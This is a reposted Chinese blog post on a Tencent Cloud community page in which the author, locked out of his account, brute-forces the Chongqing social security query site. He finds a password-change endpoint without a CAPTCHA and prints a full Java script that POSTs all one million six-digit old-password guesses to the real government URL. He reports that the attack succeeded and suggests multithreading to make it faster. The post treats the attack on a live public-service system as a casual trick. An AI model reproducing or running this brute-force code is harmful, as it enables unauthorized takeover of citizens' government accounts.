前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >强制更改社保卡密码,跟社保局的碰撞试验

强制更改社保卡密码,跟社保局的碰撞试验

作者头像
网站那些事
发布2018-05-28 20:26:16
1K0
发布2018-05-28 20:26:16
举报
文章被收录于专栏:网站那些事

昨天早晨,我妈叫我把回来重庆后参加工作的社保缴纳的截图发给她,她给村里的一个类似于会计工作的人,用于统计整个村的社保缴纳情况,我一想,这个简单呐,以前在惠州的时候也给过一次,登录网站 + 截图,简单快捷。

可是当我登录上重庆的社保查询界面的时候,才发现事情并没有那么简单,第一,我好想没有社保卡,第二, 我并不知道社保查询密码。于是我发微信问了下我们 HR 社保情况,谁知道我们美丽大方温柔漂亮的 HR 居然叫我直接联系第三方参保方,也就是重庆中智。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。我大概周末这群人可能是不上班的,可是俺妈催得紧咋办呢。

所以我索性打电话给重庆社保局,看看能不能重置我的登录密码。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。这个就有点绝望了,各位大佬们都是要休周末的,我有点绝望。

当我百无聊赖的点着登录界面,胡乱试试我平时喜欢用的密码的时候,我在想,为什么不来一场激烈的碰撞。你看看 6 位数的数字密码。排列组合也就 1000000 种可能而已,学这个行业,不能白瞎了呀,区区官方网站,又岂能奈我何,所以我打算去 gayhub 上搜一搜验证码的破解,就这破验证码做得,不是随随便便就可以搞定的吗。

还没准备搜,看到图中有个修改密码的选项,于是就点了,结果。。。。是个伪按钮,根本点不动,什么都没有发生,我一想这不可能啊,好歹是官方的网站,怎么可能放个如此难看的按钮在这里摆着,要做样子也要摆个好看的不是,这么难看的按钮,肯定是有用的。于是结合我在 TCL 的经历,我觉得这个按钮应该只有在 ie8 以及以下的浏览器才能生效,but 我总不能去下载一个 ie8 吧。

我觉得试试我的前端水准,F12 按下去,

<a onclick="changePwd();;;" style="margin-left: 10px; text-decoration: underline;">修改个人查询密码</a>

我也不知道这个三个分号是个什么意思,所以我顺便找到了 changePwd() 的函数

代码语言:javascript
复制
function changePwd() {
        var url = "/ggfw/pages/wxcx/grmmgl.jsp";
        window.showModalDialog(url, this,
            "center:1;dialogWidth:700px;dialogHeight:500px;");
}

所以搞了半天,这个只是彪出个弹窗而已,将链接地址复制到浏览器

如此清新的界面,不禁让我感到一丝尊敬,没有了验证码的干扰,真是让我无比兴奋,输入了正确的原文,然后点击提交,F12,我就看到了我想看到的东西,也就是 http 的 header

可以看到这个平凡到不能在平凡的请求,几乎没有任何添加剂,简直是完美。

开始我的编程之旅,就用这个修改密码的链接,还省去了我去下载和验证破解验证码的代码的过程,这个样简单的碰撞密码的代码,我一个小时能写一打儿

代码语言:javascript
复制
public static String Post(String strURL, String params) {
try {
URL url = new URL(strURL);// 创建连接
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setUseCaches(false);
connection.setInstanceFollowRedirects(true);
connection.setRequestMethod("POST"); // 设置请求方式
connection.setReadTimeout(100);
connection.connect();
OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码
out.append(params);
out.flush();
out.close();

InputStream is = connection.getInputStream();

byte\[\] temp = new byte\[connection.getContentLength()\];
is.read(temp);
String result = new String(temp, "UTF-8"); // utf-8编码
return result;

} catch (IOException e) {
return "IOException";
}
}
代码语言:javascript
复制
public static String Post(String strURL, String params) {  
        try {  
            URL url = new URL(strURL);// 创建连接  
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setDoOutput(true);  
            connection.setDoInput(true);  
            connection.setUseCaches(false);  
            connection.setInstanceFollowRedirects(true);  
            connection.setRequestMethod("POST"); // 设置请求方式  
            connection.setReadTimeout(100);
            connection.connect();  
            OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码  
            out.append(params);  
            out.flush();  
            out.close();  

            InputStream is = connection.getInputStream(); 

            byte\[\] temp = new byte\[connection.getContentLength()\];  
            is.read(temp);
            String result = new String(temp, "UTF-8"); // utf-8编码  
            return result;  

        } catch (IOException e) {  
            return "IOException";
        }
    }

以下是解析成字符串

代码语言:javascript
复制
public static String getPwdString(int index) {
        int length = String.valueOf(index).length();
        switch (length) {
            case 1:
                return "00000"+index;
            case 2:
                return "0000"+index;
            case 3:
                return "000"+index;
            case 4:
                return "00"+index;
            case 5:
                return "0"+index;
            case 6:
                return ""+index;
            default:
                return "";
        }
    }
代码语言:javascript
复制
public static String getPwdString(int index) {
        int length = String.valueOf(index).length();
        switch (length) {
            case 1:
                return "00000"+index;
            case 2:
                return "0000"+index;
            case 3:
                return "000"+index;
            case 4:
                return "00"+index;
            case 5:
                return "0"+index;
            case 6:
                return ""+index;
            default:
                return "";
        }
    }

以下是主函数 public static String getPwdString(int index) { int length = String.valueOf(index).length(); switch (length) { case 1: return “00000”+index; case 2: return “0000”+index; case 3: return “000”+index; case 4: return “00”+index; case 5: return “0”+index; case 6: return “”+index; default: return “”; } }

代码语言:javascript
复制
public static void main(String\[\] args) throws InterruptedException {
        String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
        String urlpara = "bh=50010\*\*\*\*\*\*\*\*45\*\*\*5&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";

        for(int i=0;i<1000000;i++) {
            String pwdd = getPwdString(i);
            if(pwdd.equals("")) {
                System.out.println("获取密码出错");
                System.exit(0);
            }
            String result = Post(url,urlpara.replace("pwd", pwdd));
            while("IOException".equals(result)) {
                result = Post(url,urlpara.replace("pwd", pwdd));
            }
            System.out.println(i);
            Bean bean = JSONUtil.json2Object(result, Bean.class);
            if(bean.getCode()!=0) {
                System.out.println("设置成功");
                System.exit(0);
            }
        }
    }

于是在一段时间后,程序退出了,设置密码成功,我用我的新密码登录,果然就通过了。觉得很有意思,在此分享。

后记,这个代码有很大的提升空间,你要知道,请求一百万次 http 请求还是很费时间的,如果能搞成多线程的话,将会非常完美,也许 10 分钟就能出结果,由于我目的已经达到了,所以也就没有去接着研究,而且写多线程的时间,也许我答案已经找到了,毕竟如果密码是 1 开头或者 0 开头的话,就会很快。

以上,分享给各位

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档